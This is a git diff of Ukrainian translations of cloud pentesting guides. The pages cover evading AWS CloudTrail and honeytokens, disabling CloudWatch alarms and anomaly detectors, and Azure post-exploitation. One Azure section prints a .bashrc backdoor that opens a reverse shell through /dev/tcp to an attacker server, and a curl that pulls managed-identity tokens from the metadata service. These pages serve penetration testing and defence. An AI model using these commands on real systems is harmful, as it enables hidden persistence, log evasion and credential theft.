Отже, Консультант з доступу інформує про **необхідні дозволи, які надаються користувачам**, щоб адміністратор міг їх видалити
@@ -150,13 +150,13 @@ https://book.hacktricks.wiki/en/pentesting-web/formula-csv-doc-latex-ghostscript Honeytokens створюються для **виявлення ексфільтрації чутливої інформації**. У випадку з AWS, це **ключі AWS, використання яких контролюється**, якщо щось викликає дію з цим ключем, то хтось, напевно, вкрали цей ключ. -Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви можете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створював будь-який журнал, **ви могли б дізнатися, чи є ключ honeytoken чи ні**. +Однак Honeytokens, такі як ті, що створені [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren), або використовують впізнаване ім'я облікового запису, або використовують один і той же ідентифікатор облікового запису AWS для всіх своїх клієнтів. Тому, якщо ви зможете отримати ім'я облікового запису та/або ідентифікатор облікового запису без того, щоб Cloudtrail створив будь-який журнал, **ви зможете дізнатися, чи є ключ honeytoken чи ні**. [**Pacu**](https://github.com/RhinoSecurityLabs/pacu/blob/79cd7d58f7bff5693c6ae73b30a8455df6136cca/pacu/modules/iam__detect_honeytokens/main.py#L57) має деякі правила для виявлення, чи належить ключ до [**Canarytokens**](https://canarytokens.org/generate)**,** [**SpaceCrab**](https://bitbucket.org/asecurityteam/spacecrab/issues?status=new&status=open)**,** [**SpaceSiren**](https://github.com/spacesiren/spacesiren)**:** -- Якщо **`canarytokens.org`** з'являється в імені ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку. -- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в імені. -- Якщо **`SpaceCrab`** з'являється в імені ролі в повідомленні про помилку. +- Якщо **`canarytokens.org`** з'являється в назві ролі або ідентифікатор облікового запису **`534261010715`** з'являється в повідомленні про помилку. +- Тестуючи їх нещодавно, вони використовують обліковий запис **`717712589309`** і все ще мають рядок **`canarytokens.com`** в назві. +- Якщо **`SpaceCrab`** з'являється в назві ролі в повідомленні про помилку. - **SpaceSiren** використовує **uuid** для генерації імен користувачів: `[a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}` - Якщо **ім'я виглядає як випадково згенероване**, є висока ймовірність, що це HoneyToken. @@ -189,11 +189,11 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J Справа в тому, що вихід покаже вам помилку, що вказує на ідентифікатор облікового запису та ім'я облікового запису, тому **ви зможете побачити, чи це Honeytoken**. -#### AWS сервіси без журналів +#### Служби AWS без журналів -У минулому існували деякі **AWS сервіси, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих сервісів **відповідають** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагається отримати до них доступ. +У минулому існували деякі **служби AWS, які не надсилають журнали до CloudTrail** (знайдіть [список тут](https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-unsupported-aws-services.html)). Деякі з цих служб **відповідатимуть** з **помилкою**, що містить **ARN ключової ролі**, якщо хтось несанкціонований (ключ Honeytoken) намагатиметься отримати до них доступ. -Таким чином, **зловмисник може отримати ARN ключа, не викликаючи жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатори облікових записів компаній HoneyToken, тому таким чином зловмисник може визначити, чи є токен HoneyToken. +Таким чином, **зловмисник може отримати ARN ключа, не викликавши жодного журналу**. У ARN зловмисник може побачити **ідентифікатор облікового запису AWS та ім'я**, легко дізнатися ідентифікатор облікового запису та імена компаній HoneyToken, тому таким чином зловмисник може визначити, чи є токен HoneyToken. ![](<../../../../images/image (93).png>) @@ -204,7 +204,7 @@ print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56J ### Доступ до третьої інфраструктури -Деякі сервіси AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **Kubernetes** кластери (EKS). Користувач, **який безпосередньо спілкується з цими сервісами** (наприклад, API Kubernetes), **не використовуватиме API AWS**, тому CloudTrail не зможе побачити цю комунікацію. +Деякі служби AWS **створюють певну інфраструктуру**, таку як **Бази даних** або **кластери Kubernetes** (EKS). Користувач, **який безпосередньо спілкується з цими службами** (наприклад, API Kubernetes), **не використовуватиме API AWS**, тому CloudTrail не зможе побачити цю комунікацію. Отже, користувач з доступом до EKS, який виявив URL API EKS, може згенерувати токен локально і **спілкуватися з API-сервісом без виявлення Cloudtrail**. @@ -236,7 +236,7 @@ aws cloudtrail put-event-selectors --trail-name --event-selectors ' # Remove all selectors (stop Insights) aws cloudtrail put-event-selectors --trail-name --event-selectors '[]' --region ``` -У першому прикладі одиничний селектор подій надається у вигляді масиву JSON з єдиним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад). +У першому прикладі одиничний селектор події надається у вигляді масиву JSON з єдиним об'єктом. `"ReadWriteType": "ReadOnly"` вказує на те, що **селектор подій повинен захоплювати лише події тільки для читання** (тому CloudTrail insights **не буде перевіряти події запису**, наприклад). Ви можете налаштувати селектор подій відповідно до ваших конкретних вимог. @@ -256,7 +256,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration #### Ransomware S3 Ви можете **згенерувати асиметричний ключ** і змусити **CloudTrail зашифрувати дані** цим ключем і **видалити приватний ключ**, щоб вміст CloudTrail не можна було відновити.\ -Це, по суті, **S3-KMS ransomware**, пояснене в: +Це в основному **S3-KMS ransomware**, пояснене в: {{#ref}} ../../aws-post-exploitation/aws-s3-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md index 81e3f3476..70b29d714 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md @@ -11,7 +11,7 @@ Ви можете моніторити, наприклад, журнали з CloudTrail. Події, які моніторяться: - Зміни в групах безпеки та NACL -- Запуск, зупинка, перезавантаження та завершення роботи EC2 екземплярів +- Запуск, зупинка, перезавантаження та завершення роботи EC2 інстансів - Зміни в політиках безпеки в IAM та S3 - Невдалі спроби входу до консолі управління AWS - Виклики API, які призвели до невдалої авторизації @@ -27,7 +27,7 @@ ### Метрики -Метрики - це точки даних, зібрані з часом, які представляють продуктивність або використання ресурсів AWS. Метрики можуть бути зібрані з сервісів AWS, користувацьких додатків або інтеграцій сторонніх розробників. +Метрики - це дані, зібрані з часом, які представляють продуктивність або використання ресурсів AWS. Метрики можуть бути зібрані з сервісів AWS, користувацьких додатків або інтеграцій сторонніх розробників. - **Приклад**: CPUUtilization, NetworkIn, DiskReadOps. @@ -35,13 +35,13 @@ Виміри - це пари ключ-значення, які є частиною метрик. Вони допомагають унікально ідентифікувати метрику та надають додатковий контекст, при цьому 30 - це максимальна кількість вимірів, які можуть бути асоційовані з метрикою. Виміри також дозволяють фільтрувати та агрегувати метрики на основі конкретних атрибутів. -- **Приклад**: Для екземплярів EC2 виміри можуть включати InstanceId, InstanceType та AvailabilityZone. +- **Приклад**: Для EC2 інстансів виміри можуть включати InstanceId, InstanceType та AvailabilityZone. ### Статистика Статистика - це математичні обчислення, виконані над даними метрик для їх узагальнення з часом. Загальні статистики включають Середнє, Суму, Мінімум, Максимум та Кількість зразків. -- **Приклад**: Обчислення середнього використання ЦП за період в одну годину. +- **Приклад**: Обчислення середнього використання CPU за період в одну годину. ### Одиниці @@ -51,9 +51,9 @@ ## Функції CloudWatch -### Панель приладів +### Панель -**Панелі приладів CloudWatch** надають настроювані **перегляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних і моніторингу ресурсів в одному огляді, поєднуючи різні метрики з різних сервісів AWS. +**Панелі CloudWatch** надають настроювані **перегляди ваших метрик AWS CloudWatch**. Можна створювати та налаштовувати панелі для візуалізації даних і моніторингу ресурсів в одному огляді, поєднуючи різні метрики з різних сервісів AWS. **Ключові функції**: @@ -62,18 +62,18 @@ **Приклад використання**: -- Одна панель, що показує ключові метрики для вашого всього середовища AWS, включаючи екземпляри EC2, бази даних RDS та кошики S3. +- Одна панель, що показує ключові метрики для вашого всього середовища AWS, включаючи EC2 інстанси, бази даних RDS та S3 контейнери. ### Потік метрик та дані метрик **Потоки метрик** в AWS CloudWatch дозволяють вам безперервно передавати метрики CloudWatch до обраного вами місця призначення в майже реальному часі. Це особливо корисно для розширеного моніторингу, аналітики та користувацьких панелей, використовуючи інструменти поза AWS. -**Дані метрик** всередині потоків метрик відносяться до фактичних вимірювань або точок даних, які передаються. Ці точки даних представляють різні метрики, такі як використання ЦП, використання пам'яті тощо, для ресурсів AWS. +**Дані метрик** всередині Потоків метрик відносяться до фактичних вимірювань або даних, які передаються. Ці дані представляють різні метрики, такі як використання CPU, використання пам'яті тощо, для ресурсів AWS. **Приклад використання**: -- Надсилання метрик в реальному часі до служби моніторингу третьої сторони для розширеного аналізу. -- Архівування метрик у кошику Amazon S3 для довгострокового зберігання та відповідності. +- Надсилання реальних метрик до стороннього сервісу моніторингу для розширеного аналізу. +- Архівування метрик у контейнері Amazon S3 для довгострокового зберігання та відповідності. ### Алерт @@ -83,12 +83,12 @@ - **Поріг**: Значення, при якому спрацьовує алерт. - **Періоди оцінки**: Кількість періодів, протягом яких дані оцінюються. -- **Точки даних для алерту**: Кількість періодів з досягнутим порогом, необхідна для спрацьовування алерту. +- **Дані для алерту**: Кількість періодів з досягнутим порогом, необхідна для активації алерту. - **Дії**: Що відбувається, коли спрацьовує стан алерту (наприклад, сповіщення через SNS). **Приклад використання**: -- Моніторинг використання ЦП екземпляра EC2 та надсилання сповіщення через SNS, якщо воно перевищує 80% протягом 5 послідовних хвилин. +- Моніторинг використання CPU EC2 інстанса та надсилання сповіщення через SNS, якщо воно перевищує 80% протягом 5 послідовних хвилин. ### Виявлення аномалій @@ -101,41 +101,41 @@ **Приклад використання**: -- Виявлення незвичайних патернів використання ЦП в екземплярі EC2, які можуть вказувати на порушення безпеки або проблему з додатком. +- Виявлення незвичних патернів використання CPU в EC2 інстансі, які можуть вказувати на порушення безпеки або проблему з додатком. ### Правила інсайту та керовані правила інсайту -**Правила інсайту** дозволяють вам виявляти тенденції, виявляти сплески або інші патерни інтересу у ваших даних метрик, використовуючи **потужні математичні вирази** для визначення умов, за яких повинні бути вжиті дії. Ці правила можуть допомогти вам виявити аномалії або незвичайну поведінку у продуктивності та використанні ваших ресурсів. +**Правила інсайту** дозволяють вам виявляти тенденції, виявляти сплески або інші патерни інтересу у ваших даних метрик, використовуючи **потужні математичні вирази** для визначення умов, за яких повинні бути вжиті дії. Ці правила можуть допомогти вам виявити аномалії або незвичну поведінку у продуктивності та використанні ваших ресурсів. **Керовані правила інсайту** - це попередньо налаштовані **правила інсайту, надані AWS**. Вони призначені для моніторингу конкретних сервісів AWS або загальних випадків використання та можуть бути активовані без необхідності детальної конфігурації. **Приклад використання**: -- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання ЦП, використання пам'яті та диск I/O. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може спровокувати сповіщення або автоматизовану дію з пом'якшення. +- Моніторинг продуктивності RDS: Увімкніть кероване правило інсайту для Amazon RDS, яке моніторить ключові показники продуктивності, такі як використання CPU, використання пам'яті та диск I/O. Якщо будь-яка з цих метрик перевищує безпечні операційні пороги, правило може активувати сповіщення або автоматизовану дію пом'якшення. ### Журнали CloudWatch Дозволяє **агрегувати та моніторити журнали з додатків** та систем з **сервісів AWS** (включаючи CloudTrail) та **з додатків/систем** (**CloudWatch Agent** може бути встановлений на хост). Журнали можуть **зберігатися безстроково** (залежно від налаштувань групи журналів) і можуть бути експортовані. **Елементи**: - -| **Група журналів** | **Збірка потоків журналів**, які мають однакові налаштування зберігання, моніторингу та контролю доступу | -| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Потік журналів** | Послідовність **журнальних подій**, які мають **одне джерело** | -| **Фільтри підписки** | Визначають **шаблон фільтра, який відповідає подіям** у певній групі журналів, надсилають їх до потоку Kinesis Data Firehose, потоку Kinesis або функції Lambda | +| Термін | Визначення | +| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | +| **Група журналів** | **Збірка потоків журналів**, які мають однакові налаштування зберігання, моніторингу та контролю доступу | +| **Потік журналів** | Послідовність **журнальних подій**, які мають **одне джерело** | +| **Фільтри підписки** | Визначають **шаблон фільтра, який відповідає подіям** у певній групі журналів, надсилають їх до потоку Kinesis Data Firehose, потоку Kinesis або функції Lambda | ### Моніторинг та події CloudWatch -CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** - **кожну 1 хвилину**). Після агрегації він **перевіряє пороги алертів** на випадок, якщо потрібно спровокувати один.\ +CloudWatch **базовий** агрегує дані **кожні 5 хвилин** ( **детальний** - **кожну 1 хвилину**). Після агрегації він **перевіряє пороги алертів**, щоб визначити, чи потрібно активувати один.\ У цьому випадку CloudWatch може бути готовий надіслати подію та виконати деякі автоматичні дії (функції AWS lambda, теми SNS, черги SQS, потоки Kinesis) ### Встановлення агента Ви можете встановити агентів всередині своїх машин/контейнерів, щоб автоматично надсилати журнали назад до CloudWatch. -- **Створіть** **роль** та **прикріпіть** її до **екземпляра** з дозволами, що дозволяють CloudWatch збирати дані з екземплярів, крім взаємодії з менеджером систем AWS SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) -- **Завантажте** та **встановіть** **агент** на екземпляр EC2 ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Ви можете завантажити його зсередини EC2 або встановити автоматично, використовуючи AWS System Manager, вибравши пакет AWS-ConfigureAWSPackage -- **Налаштуйте** та **запустіть** агент CloudWatch +- **Створіть** **роль** та **прикріпіть** її до **інстанса** з дозволами, що дозволяють CloudWatch збирати дані з інстансів, а також взаємодіяти з AWS Systems Manager SSM (CloudWatchAgentAdminPolicy & AmazonEC2RoleforSSM) +- **Завантажте** та **встановіть** **агент** на EC2 інстанс ([https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip](https://s3.amazonaws.com/amazoncloudwatch-agent/linux/amd64/latest/AmazonCloudWatchAgent.zip)). Ви можете завантажити його зсередини EC2 або встановити автоматично, використовуючи AWS Systems Manager, вибравши пакет AWS-ConfigureAWSPackage +- **Налаштуйте** та **запустіть** CloudWatch Agent Група журналів має багато потоків. Потік має багато подій. І всередині кожного потоку події гарантовано будуть в порядку. @@ -212,22 +212,22 @@ aws events describe-event-source --name aws events list-replays aws events list-api-destinations aws events list-event-buses ``` -## Пост-експлуатація / Обхід +## Post-Exploitation / Bypass ### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`** -Зловмисник з цими правами може суттєво підірвати інфраструктуру моніторингу та сповіщення організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які повідомляють адміністраторів про критичні проблеми з продуктивністю, порушення безпеки або операційні збої. Крім того, створюючи або змінюючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або заглушати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти. +Зловмисник з цими дозволами може суттєво підірвати інфраструктуру моніторингу та сповіщення організації. Видаляючи існуючі тривоги, зловмисник може вимкнути критично важливі сповіщення, які повідомляють адміністраторів про критичні проблеми з продуктивністю, порушення безпеки або збої в роботі. Крім того, створюючи або модифікуючи метрики тривог, зловмисник також може вводити адміністраторів в оману хибними сповіщеннями або заглушати законні тривоги, ефективно маскуючи злочинні дії та запобігаючи своєчасним реакціям на реальні інциденти. -Крім того, з правом **`cloudwatch:PutCompositeAlarm`** зловмисник зможе створити цикл або петлю складних тривог, де складна тривога A залежить від складної тривоги B, а складна тривога B також залежить від складної тривоги A. У цьому сценарії неможливо видалити будь-яку складну тривогу, яка є частиною циклу, оскільки завжди залишається складна тривога, яка залежить від тієї тривоги, яку ви хочете видалити. +Крім того, з дозволом **`cloudwatch:PutCompositeAlarm`** зловмисник зможе створити цикл складних тривог, де складна тривога A залежить від складної тривоги B, а складна тривога B також залежить від складної тривоги A. У цьому сценарії неможливо видалити будь-яку складну тривогу, яка є частиною циклу, оскільки завжди залишається складна тривога, яка залежить від тієї тривоги, яку ви хочете видалити. ```bash aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ] aws cloudwatch delete-alarms --alarm-names aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [--no-actions-enabled | --actions-enabled [--alarm-actions ] [--insufficient-data-actions ] [--ok-actions ] ] ``` -Наступний приклад показує, як зробити метрику тривоги неефективною: +Наступний приклад показує, як зробити метрику сигналізації неефективною: -- Ця метрика тривоги моніторить середнє використання ЦП конкретного EC2 екземпляра, оцінює метрику кожні 300 секунд і вимагає 6 періодів оцінки (всього 30 хвилин). Якщо середнє використання ЦП перевищує 60% принаймні в 4 з цих періодів, тривога спрацює і надішле сповіщення на вказану тему SNS. -- Змінивши поріг на більше ніж 99%, встановивши період на 10 секунд, періоди оцінки на 8640 (оскільки 8640 періодів по 10 секунд дорівнює 1 дню), і точки даних для тривоги на 8640, буде необхідно, щоб використання ЦП перевищувало 99% кожні 10 секунд протягом всього 24-годинного періоду, щоб спрацювала тривога. +- Ця метрика сигналізації контролює середнє використання ЦП конкретного EC2 екземпляра, оцінює метрику кожні 300 секунд і вимагає 6 періодів оцінки (всього 30 хвилин). Якщо середнє використання ЦП перевищує 60% принаймні в 4 з цих періодів, сигналізація спрацює і надішле сповіщення на вказану тему SNS. +- Змінивши поріг на більше ніж 99%, встановивши період на 10 секунд, періоди оцінки на 8640 (оскільки 8640 періодів по 10 секунд дорівнюють 1 дню), і точки даних для сигналізації на 8640, буде необхідно, щоб використання ЦП перевищувало 99% кожні 10 секунд протягом всього 24-годинного періоду, щоб спрацювала сигналізація. {{#tabs }} {{#tab name="Original Metric Alarm" }} @@ -254,7 +254,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- ``` {{#endtab }} -{{#tab name="Модифікований сигнал тривоги" }} +{{#tab name="Modified Metric Alarm" }} ```json { "Namespace": "AWS/EC2", @@ -283,7 +283,7 @@ aws cloudwatch put-composite-alarm --alarm-name --alarm-rule [-- ### **`cloudwatch:DeleteAlarmActions`, `cloudwatch:EnableAlarmActions` , `cloudwatch:SetAlarmState`** -Видаляючи дії сповіщення, зловмисник може запобігти спрацьовуванню критичних сповіщень і автоматизованих відповідей, коли досягається стан тривоги, наприклад, сповіщення адміністраторів або запуск автоматичного масштабування. Неправильне увімкнення або повторне увімкнення дій сповіщення також може призвести до несподіваних поведінок, або шляхом повторної активації раніше вимкнених дій, або шляхом зміни того, які дії спрацьовують, що може викликати плутанину і неправильне реагування на інциденти. +Видаляючи дії сповіщення, зловмисник може запобігти спрацьовуванню критичних сповіщень і автоматизованих відповідей, коли досягається стан тривоги, наприклад, сповіщення адміністраторів або ініціювання автоматичного масштабування. Неправильне увімкнення або повторне увімкнення дій сповіщення також може призвести до несподіваних поведінок, або шляхом повторної активації раніше вимкнених дій, або шляхом зміни того, які дії спрацьовують, що може викликати плутанину і неправильне реагування на інциденти. Крім того, зловмисник з відповідними правами може маніпулювати станами тривоги, маючи можливість створювати хибні тривоги, щоб відволікати і плутати адміністраторів, або приглушувати справжні тривоги, щоб приховати триваючі шкідливі дії або критичні збої системи. @@ -297,12 +297,12 @@ aws cloudwatch set-alarm-state --alarm-name --state-value | --namespace --metric-name --dimensions --stat ] aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace --metric-name --dimensions --stat --configuration --metric-characteristics ] ``` -Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує або не сповіщає про будь-які релевантні дані протягом цього періоду. +Наступний приклад показує, як зробити детектор аномалій метрики неефективним. Цей детектор аномалій метрики моніторить середнє використання ЦП конкретного EC2 екземпляра, і просто додавши параметр “ExcludedTimeRanges” з бажаним часовим діапазоном, буде достатньо, щоб забезпечити, що детектор аномалій не аналізує або не сповіщає про жодні релевантні дані протягом цього періоду. {{#tabs }} {{#tab name="Original Metric Anomaly Detector" }} @@ -355,7 +355,7 @@ aws cloudwatch put-anomaly-detector [--cli-input-json | --namespace aws cloudwatch put-dashboard --dashboard-name --dashboard-body @@ -364,7 +364,7 @@ aws cloudwatch put-dashboard --dashboard-name --dashboard-body ### **`cloudwatch:DeleteInsightRules`, `cloudwatch:PutInsightRule` ,`cloudwatch:PutManagedInsightRule`** -Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критично важливі можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних реакцій з боку операційної команди. +Правила інсайту використовуються для виявлення аномалій, оптимізації продуктивності та ефективного управління ресурсами. Видаляючи існуючі правила інсайту, зловмисник може усунути критичні можливості моніторингу, залишаючи систему сліпою до проблем з продуктивністю та загроз безпеці. Крім того, зловмисник може створювати або змінювати правила інсайту, щоб генерувати оманливі дані або приховувати злочинні дії, що призводить до неправильних діагностик і неналежних реакцій з боку операційної команди. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] @@ -374,18 +374,18 @@ aws cloudwatch put-managed-insight-rules --managed-rules ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Вимкнувши критично важливі правила інсайтів, зловмисник може ефективно осліпити організацію щодо ключових показників продуктивності та безпеки. Навпаки, увімкнувши або налаштувавши оманливі правила, можна створити хибні дані, створити шум або приховати злочинну діяльність. +Вимкнувши критично важливі правила моніторингу, зловмисник може ефективно осліпити організацію щодо ключових показників продуктивності та безпеки. Навпаки, увімкнувши або налаштувавши оманливі правила, можна створити хибні дані, створити шум або приховати злочинну діяльність. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names ``` -**Потенційний вплив**: Плутанина серед команди операцій, що призводить до затримки у відповідях на реальні проблеми та непотрібних дій на основі хибних сповіщень. +**Потенційний вплив**: Плутанина серед команди операцій, що призводить до затримок у реагуванні на реальні проблеми та непотрібних дій на основі хибних сповіщень. ### **`cloudwatch:DeleteMetricStream` , `cloudwatch:PutMetricStream` , `cloudwatch:PutMetricData`** Зловмисник з правами **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream`** зможе створювати та видаляти потоки даних метрик, що компрометує безпеку, моніторинг та цілісність даних: -- **Створення шкідливих потоків**: Створення потоків метрик для відправки чутливих даних до несанкціонованих місць. +- **Створення шкідливих потоків**: Створення потоків метрик для відправки чутливих даних до несанкціонованих місць призначення. - **Маніпуляція ресурсами**: Створення нових потоків метрик з надмірними даними може створити багато шуму, викликаючи неправильні сповіщення, маскуючи справжні проблеми. - **Порушення моніторингу**: Видаляючи потоки метрик, зловмисники порушать безперервний потік моніторингових даних. Таким чином, їхні шкідливі дії будуть ефективно приховані. @@ -417,7 +417,7 @@ aws cloudwatch start-metric-streams --names aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys ``` -**Потенційний вплив**: Порушення політик доступу на основі тегів. +**Потенційний вплив**: Порушення політик контролю доступу на основі тегів. ## Посилання diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index b1a2a71e2..1cf44e761 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -7,24 +7,16 @@ Azure Cloud Shell пропонує доступ до командного рядка для управління ресурсами Azure з постійним зберіганням та автоматичною аутентифікацією. Зловмисники можуть скористатися цим, розміщуючи бекдори в постійній домашній директорії: * **Постійне Зберігання**: Домашня директорія Azure Cloud Shell монтується на спільному файлі Azure і залишається незмінною навіть після завершення сеансу. -* **Скрипти Запуску**: Файли, такі як .bashrc, виконуються автоматично на початку кожного сеансу, що дозволяє для постійного виконання, коли запускається cloud shell. +* **Скрипти Запуску**: Файли, такі як .bashrc, виконуються автоматично на початку кожного сеансу, що дозволяє для постійного виконання при запуску хмарного терміналу. Приклад бекдору в .bashrc: - -{% code overflow="wrap" %} ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -{% endcode %} - -Ця задня дверцята може виконувати команди навіть через 5 хвилин після завершення роботи користувача в хмарній оболонці. +Ця задня дверцята може виконувати команди навіть через 5 хвилин після того, як користувач закінчив роботу з хмарною оболонкою. Додатково запитуйте службу метаданих Azure для отримання деталей екземпляра та токенів: -{% code overflow="wrap" %} ```bash curl -H "Metadata:true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -s ``` -{% endcode %} - - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index aee26d3d9..6c8af3a76 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -10,7 +10,7 @@ ../az-services/az-storage.md {{#endref}} -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` Принципал з цим дозволом зможе **переглядати** блоби (файли) всередині контейнера та **завантажувати** файли, які можуть містити **чутливу інформацію**. ```bash @@ -24,7 +24,7 @@ az storage blob download \ --container-name \ -n file.txt --auth-mode login ``` -### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write +### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` Принципал з цим дозволом зможе **записувати та перезаписувати файли в контейнерах**, що може дозволити йому завдати шкоди або навіть ескалувати привілеї (наприклад, перезаписати деякий код, збережений у блоці): ```bash diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 8fd9ef4bd..efb994ca4 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -5,27 +5,21 @@ ## CosmosDB Пост Експлуатація Для отримання додаткової інформації про SQL Database перегляньте: -{% content-ref url="../az-services/az-cosmosDB.md" %} -[az-cosmosDB.md](../az-services/az-cosmosDB.md) -{% endcontent-ref %} +{{#ref}} +../az-services/az-cosmosDB.md +{{#endref}} -### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write" +### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` З цією дозволом ви можете створювати або оновлювати облікові записи Azure Cosmos DB. Це включає зміну налаштувань на рівні облікового запису, додавання або видалення регіонів, зміну рівнів узгодженості та увімкнення або вимкнення функцій, таких як записи в кількох регіонах. - -{% code overflow="wrap" %} ```bash az cosmosdb update \ --name \ --resource-group \ --public-network-access ENABLED ``` -{% endcode %} - -### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write" +### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write` З цією дозволом ви можете створювати або змінювати контейнери (колекції) в SQL базі даних облікового запису Azure Cosmos DB. Контейнери використовуються для зберігання даних, і зміни в них можуть вплинути на структуру бази даних та шаблони доступу. - -{% code overflow="wrap" %} ```bash # Create az cosmosdb sql container create \ @@ -43,25 +37,17 @@ az cosmosdb sql container update \ --name \ --ttl 3600 ``` 